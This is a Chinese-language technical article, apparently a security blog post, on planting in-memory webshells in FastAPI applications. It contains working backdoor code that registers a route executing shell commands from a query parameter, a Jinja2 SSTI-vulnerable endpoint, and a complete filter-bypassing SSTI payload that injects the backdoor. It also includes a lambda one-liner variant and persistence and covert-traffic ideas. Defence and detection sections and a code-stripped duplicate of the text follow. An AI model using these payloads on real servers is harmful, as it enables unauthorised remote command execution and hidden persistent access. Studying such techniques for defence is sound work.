浅谈FastAPI框架下的内存马
字数 850 2025-08-22 12:22:24

FastAPI框架下的内存马技术详解

一、FastAPI基础介绍

FastAPI是一个现代、高性能的Python Web框架,用于构建API。它基于Python 3.6+的类型提示,使用Starlette作为底层ASGI框架,并使用Pydantic进行数据验证。

基本示例代码

from fastapi import FastAPI

app = FastAPI()

@app.get("/")
def read_root():
    return {"Hello": "World"}

@app.get("/items/{item_id}")
def read_item(item_id: int, q: str = None):
    return {"item_id": item_id, "q": q}

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

关键组件说明

  1. FastAPI实例app = FastAPI()创建应用实例
  2. 路由定义:使用装饰器如@app.get()定义路由
  3. 运行方式:通过Uvicorn运行应用

二、内存马技术原理

内存马(Memory Shell)是一种无文件驻留技术,通过修改内存中的应用程序对象来添加恶意功能,而不需要在磁盘上留下文件。

FastAPI内存马实现要点

  1. 获取当前运行的app实例

    import sys
    app = sys.modules['__main__'].__dict__['app']
    
  2. 添加恶意路由

    from fastapi import Request
    
    def malicious_handler(request: Request):
        cmd = request.query_params.get('cmd')
        if cmd:
            import os
            return os.popen(cmd).read()
        return "normal response"
    
    app.add_api_route('/malicious', malicious_handler, methods=['GET'])
    

三、利用SSTI漏洞注入内存马

漏洞示例代码分析

@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        template = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}")
        rendered_template = template.render({"app": app})
        return rendered_template

限制条件绕过

  1. 不能包含数字:使用__builtins__等替代
  2. 不能包含%:避免URL编码
  3. 只能执行一次:通过修改access变量或一次性注入完整payload

完整注入流程

  1. 获取__builtins__

    /calc?calc_req=lipsum.__globals__.__builtins__
    
  2. 执行恶意代码注入

    /calc?calc_req=lipsum.__globals__.__builtins__['exec']("import+sys\napp+%3d+sys.modules['__main__'].__dict__['app']\nfrom+fastapi+import+Request\n\ndef+a(request%3a+Request)%3a\n++++import+os\n++++cmd+%3d+request.query_params.get('cmd')\n++++if+cmd+is+not+None%3a\n++++++++return+os.popen(cmd).read()\n++++\n++++return+'shell'\n\napp.add_api_route('/a',+a,+methods%3d['GET'])")
    
  3. 执行命令

    /a?cmd=whoami
    

四、防御措施

  1. 输入验证

    • 严格限制用户输入内容
    • 避免直接执行用户提供的代码
  2. 权限控制

    • 限制路由添加权限
    • 使用中间件进行访问控制
  3. 代码审计

    • 检查所有动态代码执行点
    • 监控异常路由添加行为
  4. 运行时保护

    • 使用RASP进行运行时防护
    • 监控内存中的路由变化

五、高级利用技巧

  1. 使用lambda表达式简化注入

    app.add_api_route("/a", lambda: __import__("os").popen("whoami").read())
    
  2. 持久化技术

    • 利用应用重启机制
    • 修改启动脚本
  3. 隐蔽通信

    • 使用正常API隐藏恶意流量
    • 加密命令执行结果

六、检测方法

  1. 路由扫描

    • 检查所有注册的路由
    • 对比与源码的差异
  2. 内存分析

    • 检查内存中的可疑对象
    • 监控路由表变化
  3. 行为监控

    • 记录所有命令执行
    • 监控异常进程创建

通过以上技术细节,安全研究人员可以深入理解FastAPI框架下内存马的工作原理,并采取有效措施进行防御和检测。

FastAPI框架下的内存马技术详解 一、FastAPI基础介绍 FastAPI是一个现代、高性能的Python Web框架,用于构建API。它基于Python 3.6+的类型提示,使用Starlette作为底层ASGI框架,并使用Pydantic进行数据验证。 基本示例代码 关键组件说明 FastAPI实例 : app = FastAPI() 创建应用实例 路由定义 :使用装饰器如 @app.get() 定义路由 运行方式 :通过Uvicorn运行应用 二、内存马技术原理 内存马(Memory Shell)是一种无文件驻留技术,通过修改内存中的应用程序对象来添加恶意功能,而不需要在磁盘上留下文件。 FastAPI内存马实现要点 获取当前运行的app实例 : 添加恶意路由 : 三、利用SSTI漏洞注入内存马 漏洞示例代码分析 限制条件绕过 不能包含数字 :使用 __builtins__ 等替代 不能包含% :避免URL编码 只能执行一次 :通过修改 access 变量或一次性注入完整payload 完整注入流程 获取__ builtins__ : 执行恶意代码注入 : 执行命令 : 四、防御措施 输入验证 : 严格限制用户输入内容 避免直接执行用户提供的代码 权限控制 : 限制路由添加权限 使用中间件进行访问控制 代码审计 : 检查所有动态代码执行点 监控异常路由添加行为 运行时保护 : 使用RASP进行运行时防护 监控内存中的路由变化 五、高级利用技巧 使用lambda表达式简化注入 : 持久化技术 : 利用应用重启机制 修改启动脚本 隐蔽通信 : 使用正常API隐藏恶意流量 加密命令执行结果 六、检测方法 路由扫描 : 检查所有注册的路由 对比与源码的差异 内存分析 : 检查内存中的可疑对象 监控路由表变化 行为监控 : 记录所有命令执行 监控异常进程创建 通过以上技术细节,安全研究人员可以深入理解FastAPI框架下内存马的工作原理,并采取有效措施进行防御和检测。